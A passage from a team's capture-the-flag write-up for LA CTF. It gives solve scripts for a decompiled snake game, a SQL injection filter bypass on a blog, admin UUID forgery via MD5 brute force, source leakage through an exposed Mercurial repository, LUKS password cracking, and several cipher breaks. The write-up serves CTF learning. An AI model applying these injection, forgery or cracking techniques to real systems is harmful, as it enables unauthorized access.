h\x94\x86\x06K\x10K\x94\x86\rK\x0fK\x94\x86\x13K\x00K\x94\x86\rK\x0bK\x94\x86\x04K\x00K\x17h\x94\x86\x07K\tK\x94\x86\x11K\x04KGh\x94\x86\x06K\x03K\x94\x86\x12K\x00KBh\x94\x86\rK\x12Klh\x94\x86\x08K\x06K\x94\x86\x0eK\x0fK\x94\x86\nK\x10K\x94\x86\x01K\x07K\x94\x86\x04K\x07K\x94\x86\x0fK\nK\x94h\x94\x86\x08K\x0bK\x94\x86\x11K\tK\x94\x86\x02K\x02K\x94\x86\x08K\tK\nh\x94\x86\x02K\x00K\x92hgh\x94\x86\x00K\x08K(\x94\x912h_h\x89h\x94\x86\x02K\x07K\x94\x86\x06K\rK\x86h\x94\x86\x0cK\x0bK\x94\x86\x0cK\tK\x94\x86\x07K\x13KUh*h\x94\x86\x13K\x04K&h%h\x94\x86\x05K\x0cK!h\x94\x86\x06K\x07Kzh\x94\x86\nK\x0fK\x94\x86\x10K\x02Kxh\x94\x86\x08K\nK\x94\x86\x07K\rKIh\x94\x86\nK\x00K\x94\x86\x0bK\x13K\x18h\x94\x86\x05K\x13K\x94\x86\x0fK\x03K\x94\x86\x12K\x0cK\x94\x86\x12K\x03K\x94\x86\x12K\x0eK\x94\x86\x03K\x0eK\x94\x86\x05K\x04K\x94\x86\x00K\x03K\x94\x86\rK\x07Klh\x94\x86\x11K\x0bK\x94\x86\x08K\x02K\x94\x86\x08K\x00K\x94\x86\x05K\x00K\x94\x86\x03K\x13K\x94\x86\x0fK\x04K\x05h\x94\x86\x07K\x05K\x94\x86\x06K\x04K\x94\x86\x07K\x03K\x94\x86\nK\x0cK\x94\x86\x04K\x0eK\x03h(\x94\x91\x94\x86\x0fK\x0fK3h\x94\x86\x02K\x12K\x94\x86\x13K\nK\x94\x86\x0fK\x00K\x94\x86\x0cK\x00K\x94\x86\x0fK\tK\x94\x86\x01K\nK\x94\x86\x07K\nK\x94\x86\tK\x0bK\x94\x86\x11K\x05K\x94\x86\x0eK\x05K,h\x94\x86\tK\tK*h\x94\x86\rK\x04K\x94\x86\x07K\x11K\x94\x86\x08K\x0cK\x94\x86\rK\x06K\x94\x86\tK\x07K\x94\x86\x11K\x13K\x94\x86\rK\x00K\x94\x86\x05K\x01K\x94\x86\x01K\rK\x94\x86\x04K\x0fKJh\x94\x86\x11K\x08K\x94\x86\x05K\nK\x94\x86\x05K\x08K\x18h\x94\x86\x0eK\x11K\x94\x86\x01K\tKFh\x13h\x94\x86\x02K\x11K\x94\x86\x00K\x0eK\x94\x86\x11K\x06K\x94\x86\x11K\x0fK\x94\x86\x10K\x10K\x94\x86\x02K\x06K\x94\x86\x0cK\x01K\x94\x86\x12K\x08K\x0fh8h\x94\x86\rK\x05K\x94\x86\x10K\x03K\x94\x86\nK\x03K\x94\x86\x01K\x03K\x94\x86\x11K\x12K\x94\x86\x11K\x07K(\x94\x91\x94\x86\x03K\x06K\x94\x86\x0fK\rK\x94\x86\tK\x0fK\x94\x86\x03K\rK\x94\x86\x00K\x0fK\x94\x86\x10K\nK\x94\x86\tK\x02K\x94\x86\rK\x08K\x94\x86\x13K\x11K\x94\x86\x00K\x02K\x94\x86\x03K\x00K\x94\x86\x10K\x11K\x94\x86\nK\x11K\x94\x86\x11K\x03K\x94\x86\x08K\x03K\x94\x86\x11K\x0cK\x94\x86\x02K\x05K\x94\x86\x02K\x0eK\x94\x86\x06K\x12K\x94\x86\x07K\x06K\x94\x86\rK\x02K\x94\x86\x13K\tK\x94\x86\x07K\x02K\x94\x86\nK\x0bK\x1ah\x94\x86\x0fK\x05K\x16h\x94\x86\x0bK\x11K\x94\x86\x03K\x05K\x94\x86\tK\x03K\x13h\x94\x86\x06K\x0eK\x94\x86\x0bK\x12K\x94\x86\x03K\x0cK\x94\x86\x12K\x01K\x94\x86\x0fK\x08K\x94\x86\x05K\x02K\x94\x86\x0bK\tK\rh\x94\x86\x05K\x0bK\x07h\x0ch\x94\x86\nK\x05K\x94\x86\rK\x0eK\x94\x86\tK\x11K\x94\x86\x03K\x11K\x94\x86\x01K\x05K\x94\x86\x10K\x01K\x94\x86\x0fK\x06K\x94\x86\x12K\x06K(\x94\x91\x94\x86\x0bK\x10K\x94\x86\x0cK\x0fK\x94\x86\x05K\x12K\x94\x86\x0fK\x02K\x94\x86\rK\x01K\x94\x86\x02K\x10K\x94\x86\x06K\x00K\x94\x86\x11K\x0eK\x94\x86\x00K\x0bK\x94\x86\x01K\x13K\x94\x86\x01K\x11K\x94\x86\x04K\x08K\x94\x86\x05K\x05K\x94\x86\x10K\x04K\x94\x86\x04K\x04K\x94\x86\x01K\x04K\x94\x86\x07K\x04K\x94\x86\x12K\x07K\x94\x86\x12K\x10K\x94\x86\x0cK\x12K\x94\x86\x03K\x10K\x94\x86\x10K\x0bK\x94\x86\x10K\x00K\x94\x86\x10K\tK\x94\x86\x0eK\x13K\x94\x86\x0eK\x08K\x94\x86\x08K\x13K\x94\x86\x0bK\x08K\x94\x86\x0cK\x05K\x94\x86\x0bK\x04K\x94\x86\x0cK\x0eK\x94\x86\x05K\x11K\x94\x86\tK\x0eK\x94\x86\x07K\x07K\x94\x86\x07K\x10K\x94\x86\x03K\x01K\x94\x86\x03K\x08K\x94\x86\x0cK\x11K\x94\x86\tK\nK\x94\x86\tK\x08K\x94\x86\x06K\x08K\x94\x86\x00K\nK\x94\x86\tK\x13K\x94\x86\x10K\x05K\x94\x86\x13K\x0eK\x94\x86\x05K\tK\x94\x86\x06K\x13K\x94\x86\tK\x04K\x94\x86\x04K\x03K\x94\x86\x0cK\x06K(\x01\xc5\xcf\x1c\xc5\x86Y*\x81Q\xc3\xc3\xa5\r\x8a\x14K\x94\x85\x94euqed\x05\x8c\x00KN(\x00\x00\x00\x00\x00\x00\tv\x95\x04\x80'
varname_tuple = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u')
symbols_tuple = ("pickle", "encode_long", "__code__", "time", "collections", "deque", "range", "print", "len", "popleft", "isinstance", "int", "isdigit", "appendleft", "append", "open", "read", "strip", "pop", "sleep", "extend", "input", "split")
constants = __import__("pickle").loads(__import__("builtins").bytes(__import__("builtins").reversed(binbytes2)))
bytecode = __import__("builtins").bytes(__import__("builtins").map(__import__("functools").partial(__import__("operator").and_, 255), __import__("itertools").starmap(__import__("operator").xor, __import__("builtins").enumerate(binbytes))))
code_object = types.CodeType(0, 0, 0, 21, 11, 67, bytecode, constants, symbols_tuple, varname_tuple, "snek", "snek", 1337, b"snek")
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code_object)
with open("snek.pyc", "wb") as f:
_ = f.write(pyc_data)
Then, use unpyc37-3.10
to decompile the PYC file. I got decompiled code that looks like this:
import pickle as a
a.encode_long.__code__ = a.encode_long.__code__
import time as b
from collections import deque as c
d = 20
e = 140447092963680462851258172325
frozenset({(6, 12), (3, 4), (4, 9), (19, 6), (9, 5), (8, 3), (19, 9), (5, 16), (8, 9), (8, 6), (10, 0), (10, 9), (14, 19), (17, 12), (1, 3), (16, 7), (7, 7), (14, 9), (14, 12), (17, 5), (4, 11), (5, 12), (8, 11), (9, 16), (8, 14), (19, 8), (19, 14), (11, 16), (0, 16), (16, 3), (18, 12), (16, 18), (4, 1), (4, 7), (7, 18), (4, 4), (4, 16), (5, 5), (8, 4), (17, 1), (11, 0), (14, 17), (19, 1), (0, 6), (16, 2), (1, 13), (2, 15), (18, 5), (15, 12), (16, 11)})
frozenset({(6, 18), (6, 15), (1, 16), (17, 3), (17, 9), (5, 1), (14, 13), (5, 10), (8, 9), (14, 19), (11, 5), (10, 9), (9, 11), (8, 15), (2, 5), (1, 18), (12, 3), (14, 6), (3, 9), (14, 9), (5, 3), (17, 11), (4, 11), (5, 15), (8, 14), (9, 19), (2, 7), (11, 10), (2, 13), (6, 7), (18, 6), (6, 3), (14, 2), (5, 2), (12, 17), (3, 8), (17, 10), (3, 17), (17, 16), (0, 3), (2, 0), (17, 19), (8, 13), (2, 9), (10, 16), (13, 3), (15, 0), (15, 9), (13, 15), (18, 11)})
frozenset({(18, 17), (7, 17), (3, 1), (3, 10), (3, 16), (5, 1), (5, 13), (8, 3), (8, 18), (1, 12), (6, 2), (16, 16), (15, 17), (6, 17), (14, 0), (17, 2), (14, 9), (5, 3), (9, 1), (17, 14), (8, 5), (8, 11), (10, 5), (2, 7), (1, 5), (8, 17), (0, 13), (13, 1), (15, 4), (19, 17), (7, 9), (6, 13), (12, 8), (17, 7), (4, 13), (9, 9), (5, 14), (14, 17), (19, 1), (10, 1), (10, 7), (5, 17), (9, 15), (0, 12), (11, 9), (0, 15), (10, 19), (18, 2), (16, 11), (15, 15)})
frozenset({(3, 4), (14, 4), (12, 10), (3, 7), (4, 6), (5, 7), (19, 6), (4, 15), (19, 3), (0, 5), (0, 8), (11, 17), (2, 8), (15, 17), (7, 13), (3, 0), (4, 5), (14, 3), (14, 18), (3, 18), (12, 18), (3, 15), (19, 5), (8, 11), (19, 11), (0, 10), (10, 8), (13, 7), (11, 10), (0, 13), (2, 16), (7, 9), (15, 10), (7, 6), (16, 18), (12, 5), (4, 4), (4, 16), (4, 19), (19, 1), (17, 16), (19, 7), (9, 12), (11, 12), (0, 12), (13, 6), (7, 2), (18, 2), (13, 15), (15, 12)})
frozenset({(8, 0), (5, 13), (0, 2), (10, 0), (19, 3), (9, 8), (2, 2), (11, 8), (0, 8), (9, 17), (10, 15), (7, 4), (7, 1), (16, 10), (15, 14), (6, 8), (15, 17), (18, 13), (12, 3), (0, 18), (3, 6), (17, 11), (4, 17), (9, 7), (5, 12), (0, 4), (11, 13), (0, 19), (15, 13), (16, 6), (18, 12), (6, 10), (16, 18), (12, 11), (7, 18), (3, 11), (17, 4), (3, 14), (4, 19), (0, 3), (5, 17), (13, 0), (17, 19), (2, 3), (1, 13), (9, 18), (15, 6), (1, 10), (11, 18), (16, 17)})
frozenset({(4, 6), (4, 12), (9, 2), (3, 10), (17, 6), (11, 2), (17, 12), (9, 8), (9, 14), (10, 3), (9, 17), (17, 18), (2, 11), (0, 11), (15, 8), (12, 6), (4, 5), (3, 6), (3, 12), (19, 11), (9, 10), (19, 14), (8, 17), (15, 4), (11, 13), (2, 10), (10, 17), (1, 14), (16, 6), (15, 10), (6, 13), (15, 19), (6, 16), (16, 18), (12, 5), (3, 2), (17, 4), (3, 8), (4, 16), (17, 1), (3, 17), (8, 7), (1, 1), (9, 12), (2, 0), (11, 9), (19, 10), (2, 6), (7, 11), (15, 18)})
frozenset({(4, 0), (12, 7), (3, 4), (14, 7), (19, 0), (19, 6), (4, 15), (3, 19), (10, 0), (14, 19), (9, 14), (13, 11), (18, 1), (1, 15), (12, 3), (14, 6), (4, 5), (4, 14), (3, 12), (19, 2), (9, 1), (11, 1), (8, 14), (19, 14), (2, 7), (0, 13), (11, 19), (0, 19), (1, 14), (13, 16), (13, 13), (16, 12), (15, 19), (6, 19), (5, 2), (3, 8), (3, 14), (5, 5), (8, 4), (19, 4), (19, 7), (19, 10), (1, 4), (8, 13), (16, 2), (13, 6), (7, 2), (0, 18), (6, 3), (16, 11)})
frozenset({(7, 17), (9, 5), (0, 2), (10, 0), (14, 13), (9, 14), (13, 2), (19, 18), (8, 18), (9, 11), (16, 4), (1, 9), (13, 8), (16, 7), (1, 18), (15, 11), (2, 17), (13, 17), (15, 14), (7, 13), (4, 2), (12, 15), (4, 11), (19, 11), (17, 17), (11, 10), (8, 17), (19, 17), (1, 11), (11, 13), (0, 19), (13, 16), (6, 7), (6, 13), (16, 18), (7, 18), (17, 4), (19, 4), (4, 13), (4, 19), (14, 17), (10, 4), (13, 3), (9, 18), (2, 6), (15, 6), (2, 15), (16, 14), (7, 11), (7, 8)})
frozenset({(6, 18), (7, 17), (14, 4), (14, 1), (5, 16), (10, 6), (0, 17), (10, 15), (13, 14), (16, 7), (6, 5), (16, 13), (18, 19), (14, 6), (4, 14), (17, 5), (8, 2), (5, 12), (5, 18), (8, 5), (11, 7), (19, 8), (13, 4), (0, 16), (18, 5), (13, 10), (15, 7), (18, 0), (16, 6), (16, 12), (15, 10), (6, 13), (16, 15), (15, 19), (16, 18), (12, 11), (14, 2), (9, 0), (17, 7), (19, 7), (17, 13), (0, 9), (5, 17), (15, 0), (2, 6), (16, 5), (1, 10), (7, 5), (16, 17), (7, 14)})
frozenset({(12, 7), (3, 1), (12, 19), (3, 10), (9, 5), (3, 19), (8, 3), (10, 0), (17, 6), (9, 14), (5, 19), (10, 3), (17, 18), (11, 14), (2, 11), (2, 8), (15, 11), (16, 16), (6, 14), (3, 0), (3, 3), (5, 6), (3, 12), (17, 5), (4, 17), (0, 7), (2, 4), (8, 8), (9, 16), (13, 1), (1, 11), (2, 10), (6, 4), (18, 3), (6, 16), (7, 15), (7, 18), (4, 10), (5, 5), (4, 13), (3, 17), (0, 9), (5, 17), (9, 15), (8, 19), (1, 7), (16, 5), (7, 2), (6, 6), (13, 15)})
f = [{}, {}, {}, {}, {}, {}, {}, {}, {}, {}]
g = c([(0, 0)])
h = (1, 0)
i = 0
j = c([])
k = []
l = ''
for m in range(d):
n = ''
for o in range(d):
if (m, o) in g:
n += '#'
elif (m, o) in (f[i]):
n += 'o'
else:
n += '.'
l += n + '\n'
print(l, flush=True)
if len(j) > 0:
p = j.popleft()
if isinstance(p, int) or p.isdigit():
p = int(p)
p -= 1
if p > 0:
j.appendleft(p)
q = g[0]
r = (q[0] + h[0], q[1] + h[1])
if r[0] < 0 or (r[0] >= d or r[1] < 0) or r[1] >= d:
print('snek dead :(')
return
g.appendleft(r)
if r in (f[i]):
i += 1
k.append(r)
if i == len(f):
s = 0
for (t, u) in k:
s ^= 1337
s *= d**(2)
s += t*d + u
if e == s:
print('snek happy :D')
print(open('flag.txt', 'r').read().strip())
return
print('snek sad :(')
return
else:
g.pop()
elif p == 'L':
h = (-h[1], h[0])
elif p == 'R':
h = (h[1], -h[0])
else:
print('snek confused :(')
return
else:
j.extend(input('snek? ').strip().split())
While the logic shown in the script is not entirely correct and sensible, you can deduce what is happening and how the flag could be reached:
- Each map is stored as a
frozenset
that has orb coordinates. - Each time an orb gets collected, its coordinates are stored in an array called
k
. - After an orb is collected from each map, each coordinate in
k
is used to calculate a checksums
. - If
s
is equal to140447092963680462851258172325
, the flag gets printed.
Now the objective of the game is clear: Collect specific orbs such that the target checksum is reached.
Determine the coordinates of the orbs to collect for each map:
checksum = 140447092963680462851258172325
coords = []
for i in range(10):
rem = checksum % 400
checksum -= rem
checksum //= 400
checksum ^= 1337
col = rem % 20
rem -= col
row = rem // 20
coords.append((row, col))
coords = coords[::-1]
for coord in coords:
print(coord)
Then, determine the correct movements for each map such that the target orbs are collected. I did this manually, which took around 20 minutes.
Finally… solve it.
from pwn import *
inputs = ["9", "L", "1", "R", "2", "R", "1", "R", "8", "R", "3", "L", "3", "R", "8", "R", "2", "L", "7", "R", "6", "L", "1", "R", "6", "R", "1", "7", "L", "3", "1", "L", "4", "L", "15", "L", "3", "2", "L", "16", "R", "3", "R", "3", "R", "4", "L", "1", "R", "4", "R", "1", "R", "10"]
s = remote("lac.tf", 31133)
for ans in inputs:
_ = s.recvuntil(b"snek? ")
_ = s.sendline(ans.encode())
_ = s.recvuntil(b"snek happy :D\n")
flag = s.recv().decode().strip()
print(flag)
s.close()
Flag: lactf{h4h4_sn3k_g0_brrrrrrrr}
(Postmortem thoughts: I didn’t pay enough attention to the outputted script to notice that the user input gets splitted. This means I could’ve just separated each input with a single space and sent them all at once…)
Web (9/9 solved)
college-tour (756 solves)
Solved by J4cky
First, check the source code of the web page.
Get the 3 parts of the flag:
lactf{1_j03_4}
lactf{2_nd_j0}
lactf{4_n3_bR}
Next, check the index.css.
lactf{3_S3phI}
Then, check the script.js.
lactf{5_U1n_s}
lactf{6_AY_hi}
Finally, put the different parts together and get the flag.
Flag: lactf{j03_4nd_j0S3phIn3_bRU1n_sAY_hi}
uuid hell (165 solves)
Solved by RaccoonNinja and fsharp; written by RaccoonNinja
v1 UUIDs are time-based and not really secure.
The fastest way to solve it is to do these in burp repeater:
- get user UUID
- generate admin UUID
- get user UUID again, confirm only 1 admin UUID is generated by comparing the 2 admin lists recorded in logger
The search range can be greatly reduced if we appreciate that nsec
is 0, cracking md5 takes no time as well.
import hashlib
def uuid_to_time(x):
a,b,c,d,e = x.split("-")
return int(c[1:]+b+a, 16)//10000
def time_to_uuid(t):
info = hex(int(t)*10000)[2:]
return f"{info[-8:]}-{info[3:7]}-1{info[:3]}-aa64-67696e6b6f69"
start = uuid_to_time("7b9d8fe0-a9e2-11ed-aa64-67696e6b6f69")
end = uuid_to_time("7c4393e0-a9e2-11ed-aa64-67696e6b6f69")
h = "94413ca27101391a61b8a3173efd4fad"
for i in range(start,end+10000):
m = hashlib.new('md5')
m.update(f"admin{time_to_uuid(i)}".encode())
digest = m.hexdigest()
if digest == h:
print(time_to_uuid(i), digest)
break
lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}
my-chemical-romance (104 solves)
Solved by fsharp
There are only two pages in the website: The main page and another page that shows up when the URL being requested isn’t found.
Looking closer, there’s a response header called Source-Control-Management-Type: Mercurial-SCM
by accessing the main page. Mercurial SCM is a version control system for software developers, just like Git and Subversion.
Perhaps the source code or version history of the website could be downloaded? After installing TortoiseHg, clone the website directly by running hg clone --verbose https://my-chemical-romance.lac.tf <directory>
and open up gerard_way2001.py
to find the flag hidden in a previous version.
Flag: lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}
85_reasons_why (78 solves)
Solved by RaccoonNinja
https://85-reasons-why.lac.tf/
We’re given a blog, specifically the query by image function does these:
- encode the image with base85
- escape single quotes but
\\\'
gets encoded to'
(note~
is not a valid character in base85)
When combined with the fact that /**/
can be used in place of space in sqlite, the problem can be solved quickly:
import re, base64
sql = "'OR 1=1 OR 'a'='a"
print("where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(sql))
sql = sql.replace(" ", "/**/")
sql = sql.replace("'", "\\\\\\\'")
def serialize_image(b85_string):
# identify single quotes, and then escape them
b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
b85_string = re.sub('\'', '\'\'', b85_string)
b85_string = re.sub('~', '\'', b85_string)
b85_string = re.sub('\\:', '~', b85_string)
return b85_string
print("where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(serialize_image(sql)))
def deserialize_image(b85):
ret = b85
ret = re.sub('~', ':', b85)
raw_image = base64.a85decode(ret)
with open("solve.png", "wb") as f:
f.write(raw_image)
print("done, try your luck")
deserialize_image(sql)
Submit the image and profit.
lactf{sixty_four_is_greater_than_eigthy_five_a434d1c0e0425c3f}
Misc (11/11 solved)
EBE (426 solves)
Solved by fsharp
The packet capture consists entirely of UDP packets, each containing only 1 byte of payload. However, viewing all of them together only shows a jumbled bunch of characters. What’s going on?
Opening up the dissection of each packet, I noticed that the IPv4 header checksums were not validated, and that there were only two values: 0xe4c0
and 0x64c1
. I filtered for packets that have the latter checksum with ip.checksum == 0x64c1
, exported them to another file, and followed the newly constructed UDP stream to get the flag.
It wasn’t until after the CTF ended that I realized the challenge wasn’t about looking at header checksums, but was instead about the evil bit in IPv4 headers…
Flag: lactf{3V1L_817_3xf1l7R4710N_4_7H3_W1N_51D43c8000034d0c}
hidden in plain sheets (251 solves)
Solved by J4cky, LifeIsHard and RaccoonNinja; written by RaccoonNinja
We need to gain info to content in a hidden sheet called flag
.
I severely overthought the problem, looking at various http requests and trying to poke at it. The keypoint is that hidden sheets/regions are only cosmetic and not secure at all.
We can simply use the Find function and it will gladly find in the flag sheet for us. We can search with regex .
in the flag
sheet and recover letter-by-letter.
lactf{H1dd3n_&_prOt3cT3D_5h33T5_Ar3_n31th3r}
a hacker’s notes (43 solves)
Solved by RaccoonNinja and fsharp; written by fsharp
We’re provided with an encrypted flash drive and are tasked with looking inside it to find a note from a hacker.
The password used to encrypt the drive is in the form of hacker{3 digits}
. By bruteforcing the LUKS encryption password with hashcat
, the password is found to be hacker765
. The drive could now be mounted.
Several files exist in the drive, and a few caught our interest:
.config/joplin/database.sqlite
: A SQLite database file. Opening it withsqlitebrowser
shows an entry namedencryption.masterPassword
with a value ofn72ROU9BqbjVOlXKH5Ju
in thesettings
table.encrypted-notes/info.json
: A JSON file containing an encrypted master key.encrypted-notes/b692aaeaf3494fa29121524802940dc2.md
andencrypted-notes/f6fdd827811741a5b8b796b7778b2f4b.md
: 2 encrypted notes from Joplin.
After examining the Joplin source code used for note encryption, RaccoonNinja determined that the sjcl
module needs to be used to decrypt the notes.
We were stuck for a while. Decrypting either note with the found masterPassword
didn’t work. It turns out that the master key needs to be decrypted with the masterPassword
first. The notes can then be decrypted with the decrypted contents of the master key.
Flag: lactf{S3cUr3_yOUR_C4cH3D_3nCRYP71On_P422woRD2}
private Bin (38 solves)
Solved by fsharp
The goal is to recover the contents of a private paste. An HTML file and an archive file containing a packet capture are given.
The challenge description states that the domain storing the private pastes is hosted somewhere under lac.tf
. Searching the packet capture for the string lac.tf
gives us the domain: privatebin-0191c4fc.lac.tf
.
Heading there, we could download an sslkey.log
file so that Wireshark could decrypt and view the contents of packets for HTTPS requests to and responses from that domain.
One of the HTTP streams shows an encrypted zip file that failed to be uploaded onto the server due to it being too large. Another shows client-side JavaScript that is used to decrypt an encrypted private paste with a user-provided key.
The JavaScript used AES-256-CBC decryption: All information regarding the paste is encoded as a base64 blob, where the first 16 decoded bytes comprise the IV used, and the remaining decoded bytes make up the encrypted paste.
The HTML file provided at the beginning of the challenge contains the password to open the encrypted zip file, which is testlactf123
. There are two files in the archive: key.txt
, which contains the key used to encrypt the paste; and secret.txt
, which only has a long string of randomly picked characters that is unused.
Use the key found and IV from the base64 blob to perform the decryption and get an image containing the flag.
Flag: lactf{e2e_encryption_is_only_as_safe_as_the_client_1dc5f2}
Crypto (9/9 solved)
ravin-cryptosystem (123 solves)
Solved by LifeIsHard and Mystiz; written by RaccoonNinja
The title alludes to Rabin cryptosystem.
This is further verified with the 2 prime factors being 3 mod 4
. Note that cryptanalysis to Rabin cryptosystem is not needed to solve this challenge.
Due to an error in the fastpow
function, the flag is raised to 65536th power instead of 65537. This sucks because e
is not co-prime with (p-1)(q-1)
, which is even.
Thankfully we can apply quick square-root finding 16 times and we should get 4**16 candidates No there are only 4.
from Crypto.Util.number import long_to_bytes
from sage.all import xgcd
p,q = 861346721469213227608792923571,1157379696919172022755244871343
n=p*q
c = 375444934674551374382922129125976726571564022585495344128269
"""
The extended gcd is also part of SAGE's library. xgcd(a,b) returns 3 numbers: the gcd, and n,m such that na + mb = gc
"""
yp, yq = xgcd(p, q)[1:]
def gen_roots(cs):
ans = []
for c in cs:
cp, cq = c%p, c%q
mp = int(pow(cp, (p+1)//4, p))
mq = int(pow(cq, (q+1)//4, q))
ans += [
(yp*p*mq + yq*q*mp) %n,
(yp*p*mq - yq*q*mp +n ) %n
]
ans+=[n-ans[-2],n-ans[-1]]
return ans
cans = [c]
for i in range(16):
cans = set(gen_roots(cans))
if i<24:
print(cans, end="\n\n")
for c in cans:
C = long_to_bytes(c)
if C[:6] == b"lactf{" and C[-1:] == b"}":
print(C)
break
hill-hard (31 solves)
Solved by Mystiz; written by LifeIsHard
First blood.
Step 1: Recover 13 columns in matrix $A$
Encryption: $Ax = b$
When we can choose $x$, we can get the columns in $A$ with the following method
- first column of $A$ by $(b_1-b_0)\text{ mod }95$
- second column of $A$ by $(b_2-b_0)\text{ mod }95$
- etc.
$$ A \times \begin{bmatrix} 1 & 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T = b_0 \\ A \times \begin{bmatrix} 2 & 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T = b_1 \\ A \times \begin{bmatrix} 1 & 2 & 1 & 1 & \cdots & 1 \end{bmatrix}^T = b_2 \\ \cdots $$
However, we cannot choose $x$ directly in this challenge. Our input will be XOR with fakeflag
before matrix multiplication.
$$ A \times \left( \text{fakeflag } ⊕ \text{ our input[20]} \right)= b \\ A \times \left( \text{lactf\{?????????????\} } ⊕ \text{ our input[20]} \right)= b $$
Example:
$$ \begin{aligned} b_0 &= A \times ( \begin{bmatrix} \text{l} & \text{a} & \text{c } \cdots & \text{\}} \end{bmatrix}^T \oplus \begin{bmatrix} 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T ) \\ &= A \times ( \begin{bmatrix} 76 & 65 & 67 \cdots & 1 \end{bmatrix}^T \oplus \begin{bmatrix} 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T ) \\ &= A \times \begin{bmatrix} 77 & 64 & 66 \cdots & 1 \end{bmatrix}^T \end{aligned} $$
$$ \begin{aligned} b_1 &= A \times ( \begin{bmatrix} 76 & 65 & 67 \cdots & 1 \end{bmatrix}^T \oplus \begin{bmatrix} 2 & 1 & 1 & \cdots & 1 \end{bmatrix}^T ) \\ &= A \times \begin{bmatrix} 78 & 64 & 66 \cdots & 1 \end{bmatrix}^T \end{aligned} $$
As fakeflag
is unknown, $(x⊕2 - x⊕1)$ is different for different $x$. It would be hard to recover the column in $A$ as there’s 4 possible cases for the difference.
$x$ | $x⊕1$ | $x⊕2$ | $x⊕2 - x⊕1$ |
---|---|---|---|
0 | 1 | 2 | 1 |
1 | 0 | 3 | 3 |
2 | 3 | 0 | -3 |
3 | 2 | 1 | -1 |
4 | 5 | 6 | 1 |
We can try to find a better number ($k$) than “$2$”, then the difference will be same for all $x$.
Note that the unknown part of fakeflag
(lactf{?????????????}
) only contains small letters (a-z), so $x \in [65, 90]$.
- As the first two bits for $[65, 90]$ in 7-bit representation are the same (i.e. starting with “10”), we can set any value for the first 2 bits of $k$.
- Last bit of $k$ is “1” as we’re going to minus $x⊕1$
Therefore, the following values are possible:
Possible $k$ | Binary rep. | $x⊕k - x⊕1$ | Remarks |
---|---|---|---|
1 | 0000001 | 0 | Can’t use, we want difference ≠ 0 |
33 | 0100001 | 32 | Ok |
65 | 1000001 | -64 | Ok |
97 | 1100001 | -32 | Can’t use, our input range is [1,94] |
We will use $k=33$ for the following explanation, our input for the 14 attemps can be:
iteration input
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 33 1 1 1 1 1 1 1 1 1 1 1 1 1
2 1 1 1 1 1 1 1 33 1 1 1 1 1 1 1 1 1 1 1 1
... ...
13 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 33 1
------------------------------------------------------------------------
l a c t f { ? ? ? ? ? ? ? ? ? ? ? ? ? }
Step 2: Get encrypted(fakeflag2) by calculating offset
With the input in Step 1, we can get the 7-th to 19-th column. However, the remaining 7 columns are still missing.
As we know 7 characters of the fakeflag
, we can change our input a bit.
$$ A \times \left( \text{lactf\{?????????????\} } ⊕ \text{ lactf\{our input[13]\}} \right) = b \\ A \times \begin{bmatrix} 0 & 0 & 0 & 0 & 0 & 0 & ? & ? & \cdots & ? & ? & 0 \end{bmatrix}^T = b $$
iteration input
0 76 65 67 84 70 91 1 1 1 1 1 1 1 1 1 1 1 1 1 93
1 76 65 67 84 70 91 33 1 1 1 1 1 1 1 1 1 1 1 1 93
2 76 65 67 84 70 91 1 33 1 1 1 1 1 1 1 1 1 1 1 93
... ...
13 76 65 67 84 70 91 1 1 1 1 1 1 1 1 1 1 1 1 33 93
------------------------------------------------------------------------
l a c t f { ? ? ? ? ? ? ? ? ? ? ? ? ? }
Then we can get the encrypted result with partially recoverd $A$ (i.e. 6 columns of “0"s + 13 columns recovered with Step 1 + 1 column of “0"s).
With the partially recovered $A$ and the encryption result of input [76 65 67 84 70 91 1 1 1 1 1 1 1 1 1 1 1 1 1 93]
, we can recover the wrapped part of fakeflag
.
Note that the difference of encrypted fakeflag
($f_1$) and encrypted fakeflag2
($f_2$) will be the same with $A$ and partially recovered $A$ (denote as $\tilde{A}$), i.e.,
$$\text{Enc}(f_2, A) - \text{Enc}(f_1, A) = \text{Enc}(f_2, \tilde{A}) - \text{Enc}(f_1, \tilde{A})$$
We can then get $\text{Enc}(f_2, A)$ as we have the other three terms.
Flag: lactf{putting_the_linear_in_linear_algebra}
.